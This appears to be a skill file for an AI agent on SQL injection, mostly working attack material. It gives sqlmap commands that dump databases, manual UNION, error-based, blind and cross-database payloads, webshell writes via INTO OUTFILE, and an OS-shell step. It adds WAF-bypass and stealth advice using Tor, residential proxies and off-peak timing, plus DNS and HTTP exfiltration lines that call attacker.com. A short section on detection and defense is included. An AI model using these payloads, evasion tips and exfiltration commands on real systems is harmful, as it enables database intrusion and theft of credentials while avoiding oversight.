Web Sqli

Skill: SQL Injection

Supplementary Files:

• payloads.md — Payload collection organized by 10 injection types (injection detection, UNION, Error, Blind, Double Query, WAF bypass, cross-database, file read/write)
• test-cases.md — Structured test case templates (12 cases covering injection detection, UNION, Error-based, Blind, advanced exploitation - 5 categories)
• sqli-double-query-guide.md — Double Query injection complete guide（extractvalue/updatexml/floor allcovering）
• sqli-cross-db-guide.md — MySQL/PostgreSQL/MSSQL/Oracle cross-database injection guide

Summary

Web Sqli skill domain covering web attack operations.

Tools: sqlmap, Burp Suite, curl, manual injection, browsetool DevTools

Domain: web-attack

OWASP: A03:2021-Injection

MITRE ATT&CK: T1190-Exploit Public-Facing App

Description

SQL injection attacks and defense - covering all major SQLi types including error-based, union-based, blind (boolean/time), double query (error-based), stacked queries, and out-of-band injection. This skill covers the complete attack chain from detection to exploitation, along with corresponding defense strategies。

Agent canpowerstatement: Completed all 65 levels of SQLi-Labs, achieved expert-level proficiency in Double Query injection, with batch automated testing tools。

Use Cases / Use Cases

1. Web applicationpenetration testing - Detect and exploit SQL injection vulnerabilities in target application, extract sensitive database information
2. CTF competition challenges - Quickly identify SQL injection challenge types (echo/blind/error/filter bypass), construct effective payloads
3. security code audit - Review application database interaction code from defense perspective, identify unsafe query construction
4. WAF bypassresearch - Construct encoding/transformation bypass payloads for scenarios filtering keywords, comment chars, spaces
5. crossdatabaseinjection - Specific injection techniques for MySQL, PostgreSQL, MSSQL, Oracle database engines

Core Tools / Core Tools

Methodology / Methodology

Attack Chain / Attack Chain

Detection → Fingerprinting → Exploitation → Data Extraction → Privilege Escalation

1. Detection (Detectinjection point)

• single quotetesting: id=1' / id=1' -- - / id=1' and '1'='1
• numberValuetypetesting: id=1 and 1=1 / id=1 and 1=2
• judgeclosure method: ' / " / ') / ")) / noclosure（entiretype）

2. Fingerprinting (fingerprinting)

• Determine column count: ' ORDER BY N-- - (increment N until error)
• Identifydatabasetype: @@version (MySQL) / version() (PostgreSQL) / @@servername (MSSQL)
• confirminjection type: echo / error / blind injection / noecho

3. Exploitation (categorized exploitation)

• UNION injection: ' UNION SELECT 1,2,3-- -（echoscenario）
• Error-based: extractvalue() / updatexml() / floor()+rand()+group by
• Boolean Blind: ' AND (SELECT LENGTH(database()))>5-- -
• Time Blind: ' AND IF(1=1,SLEEP(3),0)-- -
• Double Query: ' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -
• Stacked Queries: ; INSERT INTO users VALUES(...)-- -

4. Data Extraction (data extraction)

• Enumeratedatabase: SELECT schema_name FROM information_schema.schemata
• Enumeratetable: SELECT table_name FROM information_schema.tables WHERE table_schema='TARGET_DB'
• Enumeratecolumn: SELECT column_name FROM information_schema.columns WHERE table_name='TARGET_TABLE'
• Extractdata: SELECT username,password FROM TARGET_TABLE

5. Privilege Escalation (privilege escalation)

• file read/write: LOAD_FILE('/etc/passwd') / INTO OUTFILE '/var/www/html/shell.php'
• operating system commands: sqlmap --os-shell

Defense Perspective

Practical Steps / Practical Steps

See payloads.md for detailed payloads, and test-cases.md for complete test checklist。 Below is a summary of core operations at each stage。

Step 1: sqlmap automated Detect

# Basic detection (automatically identify injection type and technique)
sqlmap -u "http://target/page?id=1" --batch --threads=5

# Enumerate all databases
sqlmap -u "http://target/page?id=1" --batch --dbs

# Enumerate target database tables
sqlmap -u "http://target/page?id=1" --batch -D target_db --tables

# Enumerate columns and extract data
sqlmap -u "http://target/page?id=1" --batch -D target_db -T users --dump

# POST injection detection
sqlmap -u "http://target/login" --data="user=admin&pass=test" --batch

# Cookie injection detection
sqlmap -u "http://target/page" --cookie="session=abc123" --batch

# Specify injection technique (UNION only)
sqlmap -u "http://target/page?id=1" --technique=U --batch

# Specify injection technique (Double Query / Error-based)
sqlmap -u "http://target/page?id=1" --technique=E --batch

# Bypass WAF (tamper scripts)
sqlmap -u "http://target/page?id=1" --tamper=space2comment,between --batch

Step 2: manual UNION injection（echoscenario）

-- 1. Determine column count
' ORDER BY 3-- -    -- 成功
' ORDER BY 4-- -    -- 失败，说明共 3 列

-- 2. Determine echo position
' UNION SELECT 1,2,3-- -

-- 3. Extractdatabaseinformation（assumptionNo. 2、3 columnhasecho）
' UNION SELECT 1,database(),version()-- -

-- 4. Enumerate table names
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -

-- 5. Enumerate column names
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -

-- 6. Extractdata
' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users-- -

Step 3: Double Query injection（errorscenario - expertlevel）

-- extractvalue() method（MySQL 5.1.5+，mostlength 32 characters）
' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--+
-- errorecho: XPATH syntax error: '~security~'

-- updatexml() method（MySQL 5.1.5+，mostlength 32 characters）
' AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)--+

-- floor()+rand()+group by (classic method, no length limitation)
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--+

-- Extracttablename（Double Query）
' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))--+

-- Truncated reading for long data (exceeding 32 characters, use SUBSTRING)
' AND extractvalue(1,concat(0x7e,SUBSTRING((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),1,31),0x7e))--+
' AND extractvalue(1,concat(0x7e,SUBSTRING((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),32,31),0x7e))--+

Step 4: Blind injection（noechoscenario）

-- Boolean Blind: Judge based on page content differences
' AND (SELECT LENGTH(database()))>5-- -      -- 页面正常 → 长度 > 5
' AND (SELECT LENGTH(database()))>10-- -     -- 页面异常 → 长度 <= 10
' AND SUBSTRING((SELECT database()),1,1)='s'-- -  -- 逐字符提取

-- Time Blind: Judge based on response time
' AND IF((SELECT LENGTH(database()))>5,SLEEP(3),0)-- -
' AND IF(SUBSTRING((SELECT database()),1,1)='s',SLEEP(3),0)-- -

Step 5: Cross-database injection quick reference

-- PostgreSQL Error-based injection
' AND 1=CAST((SELECT version()) AS int)--

-- MSSQL Error-based injection
' AND 1=CONVERT(int,(SELECT @@version))--

-- Oracle Error-based injection
' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v$version WHERE ROWNUM=1))--

Detection Methods

Modern SQLi detection combines WAF signatures, database audit logging, and behavioral anomaly analysis. Understanding these signals helps testers operate more stealthily and helps defenders prioritize monitoring.

Database-Level Indicators

• Query anomalies: Unexpected UNION, --, /* */, ;, xp_cmdshell in DB query logs.
• Information schema access: Unusual queries against information_schema.tables / information_schema.columns (MySQL), sys.tables (MSSQL), ALL_TABLES (Oracle).
• Error message leakage: DB errors returned to client revealing version, table structure, or column names.
• Slow query outliers: Time-based blind injection produces queries taking 5-30s (vs. typical <100ms).
• Bulk SELECT patterns: Sudden spike in SELECT * FROM users WHERE ... queries (credential extraction).

Application-Level Indicators

• Parameter length outliers: Query parameters exceeding typical length distributions (>200 chars).
• Encoding anomalies: URL-encoded characters in unusual positions (%27, %20UNION, %2D%2D).
• SQL keyword frequency: Statistical anomaly in SELECT|UNION|AND|OR|FROM|WHERE in request parameters.
• HTTP response size variance: Significant differences in response size between benign and malicious requests (UNION-based extraction).

SIEM / WAF Detection Rules

• ModSecurity CRS: Rules 942100-942999 cover SQLi patterns (OWASP Core Rule Set, paranoia levels 1-4).
• Cloudflare: Managed rule "Cloudflare SQLi" + machine learning augmentation.
• AWS WAF: AWSManagedRulesSQLiRuleSet with sensitivity tuning.
• Imperva WAF: Signature-based + behavioral correlation engine.
• Splunk SPL: index=waf "UNION" "SELECT" "FROM" http.request.uri | stats count by source.ip | where count > 5
• Database Audit Log: MySQL Enterprise Audit / Oracle Audit Vault / SQL Server Audit for query-level tracking.

Behavioral Detection

• Honeypot data: Plant fake rows (e.g., user admin_honeypot) and alert when queried.
• Canary tokens: Embed unique tokens in database fields; alert on exfiltration attempts.
• Anomaly ML: Train on normal query patterns; flag outliers (e.g., unsupervised isolation forest).

Defense Evasion Techniques

WAF Bypass

• Keyword splitting: UN/**/ION SEL/**/ECT (inline comments split keywords).
• Case variation: UnIoN sElEcT, OrDeR By.
• Encoding: URL-encoding (%55nION), hex (0x55), char() (CHAR(85)).
• Whitespace alternatives: Tab (\t), newline (\n), form feed (\f) instead of spaces.
• Equivalent functions: MID() for SUBSTRING(), LIMIT for TOP, CONCAT_WS() for CONCAT().
• No-quote strings: 0xHex (MySQL) or CHR(65)||CHR(66) (Oracle) to avoid quotes.

Filter Evasion

• Comment alternatives: --, #, /* */, ;%00 (null byte), /**/ (inline).
• Quote alternatives: \", \, \x27 (hex escape).
• Operator alternatives: LIKE for =, BETWEEN for IN, NOT IN for <>.
• Boolean blind: AND 1=1 vs AND 1=2 response differential.
• Time-based blind: IF(condition, SLEEP(5), 0), WAITFOR DELAY '0:0:5' (MSSQL), dbms_pipe.receive_message(('a'),5) (Oracle).

Database-Specific Tricks

• MySQL: INTO OUTFILE for webshell upload; LOAD DATA INFILE for file read; global.general_log for query logging pivot.
• PostgreSQL: COPY (SELECT ...) TO '/tmp/x' for file write; lo_import/lo_export for large object file ops.
• MSSQL: xp_cmdshell for OS command execution; OPENROWSET for OLEDB pivot; sp_oacreate for COM object abuse.
• Oracle: DBMS_JAVA.RUNJAVA for Java execution; UTL_HTTP for outbound requests; DBMS_LDAP for LDAP queries.

Stealth Techniques

• Slow extraction: Sleep 2-3s between requests to avoid rate-based detection.
• Distributed source: Rotate through residential proxies / Tor circuits to avoid IP-based blocking.
• Off-peak timing: Run extraction during low-traffic hours to blend with maintenance queries.
• Result caching: Cache extracted bytes locally; minimize repeated queries for same data.
• Differential response analysis: Compare full response byte-by-byte rather than relying on error messages.

Out-of-Band (OOB) Exfiltration

• DNS exfil (MySQL): SELECT LOAD_FILE(CONCAT('',(SELECT version()),'.attacker.com\\\\x')).
• DNS exfil (MSSQL): EXEC master..xp_dirtree ''+CONVERT(varchar, @@version)+'.attacker.com\\x'.
• HTTP exfil (Oracle): UTL_HTTP.REQUEST('http://'||user||'.attacker.com/').
• DNS exfil (PostgreSQL): COPY (SELECT ...) TO PROGRAM 'curl http://attacker.com/?data=$(base64 data)'.

Hacker Laws / Hacker Laws

1. Trust but Verify (Trust but Verify) - Never trust user input. Any data from the client can be tampered with, including URL parameters, POST body, HTTP Header, Cookie. All input must be strictly validated and parameterized on the server side。

2. First Principles (First Principles) - The root cause of SQL injection is mixing code with data. Understand SQL engine parsing: single quotes close strings, comment chars truncate statements, UNION merges result sets. Master the underlying principles and any filter bypass is just a transformation problem。

3. Divergent Thinking (Divergent Thinking) - When one injection path is blocked, there are always alternative paths。UNION filtered -> try Error-based; no echo -> switch to Blind; keywords blocked -> encoding/case/comments/equivalent function replacement。Success belongs to those who find the most alternative paths。

4. Economy of Mechanism (Economy of Mechanism) - Simpler defense is more secure. Parameterized queries are the simplest and most effective defense. Complex input filtering and blacklists actually introduce more attack surface。

Learning Resources / Learning Resources

Skill supplementary files:

• payloads.md — Complete payload collection (10 injection types, ready to copy and use)
• test-cases.md — Structured test cases (12 case templates, with prerequisites and expected results)
• sqli-double-query-guide.md — Double Query injection complete guide
• sqli-cross-db-guide.md — Cross-database injection guide

Extended Learning Materials (guides/):

• guides/ctf_sqli_practice_guide.md - CTF SQL injection challenge type classification and solving methods
• guides/portswigger_sqli_labs.md - PortSwigger Academy SQL injection lab progress
• guides/real_world_sqli_case_studies.md - Real-world CVE SQL injection case studies
• guides/double_query_study_findings.md - Double Query Practical findings and environment limitation analysis

Related Skills:

• skills/web-auth-bypass/SKILL.md — Authentication bypass (SQLi can extract credentials to assist auth attacks)
• skills/web-access-control/SKILL.md — Access control (SQLi can extract user IDs to assist privilege escalation testing)

External Resources:

• PortSwigger Web Security Academy - SQL Injection
• OWASP SQL Injection
• SQLi-Labs (audi-1)
• sqlmap Official documentation
• MySQL Official documentation - Security
• HackTricks - SQL Injection